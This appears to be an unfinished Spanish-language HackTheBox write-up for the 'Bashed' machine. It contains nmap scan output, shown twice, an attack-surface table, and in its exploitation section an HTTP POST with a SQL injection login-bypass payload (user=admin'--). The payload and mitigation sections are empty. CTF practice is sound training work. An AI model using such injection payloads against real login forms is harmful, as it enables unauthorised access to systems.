bash
1╰─ nmap $(target) -A -T5 
2Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-07 18:22 +0200
3Nmap scan report for 10.129.68.7
4Host is up (0.050s latency).
5Not shown: 999 closed tcp ports (reset)
6PORT   STATE SERVICE VERSION
780/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
8|_http-title: Arrexel's Development Site
9|_http-server-header: Apache/2.4.18 (Ubuntu)
10Device type: general purpose
11Running: Linux 3.X|4.X
12OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
13OS details: Linux 3.10 - 4.11, Linux 3.13 - 4.4
14Network Distance: 2 hops

Puerto	Servicio	Versión
80	http

Superficie de ataque

Endpoint	Método	Parámetros	Observaciones
/login	POST	user, pass

Análisis

Explotación

http
1POST /login HTTP/1.1
2Host: target
3Content-Type: application/x-www-form-urlencoded
4
5user=admin'--&pass=x

Payload final

Mitigación

Plataforma

HackTheBox

Dificultad

🟢 Muy fácil

Sistema operativo

🐧 Linux 🌐 Web

Estado

En progreso

Técnicas

#web #fuzzing #e #escalation

Extensión

45 palabras · 1 min

Máquina original

https://app.hackthebox.com/machines/Bashed?tab=play_machine

Análisis de puertos

Salida del nmap:

bash

╰─ nmap $(target) -A -T5 
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-07 18:22 +0200
Nmap scan report for 10.129.68.7
Host is up (0.050s latency).
Not shown: 999 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Arrexel's Development Site
|_http-server-header: Apache/2.4.18 (Ubuntu)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.10 - 4.11, Linux 3.13 - 4.4
Network Distance: 2 hops

Puerto	Servicio	Versión
80	http

Endpoint

Método

Parámetros

Observaciones

/login

POST

user, pass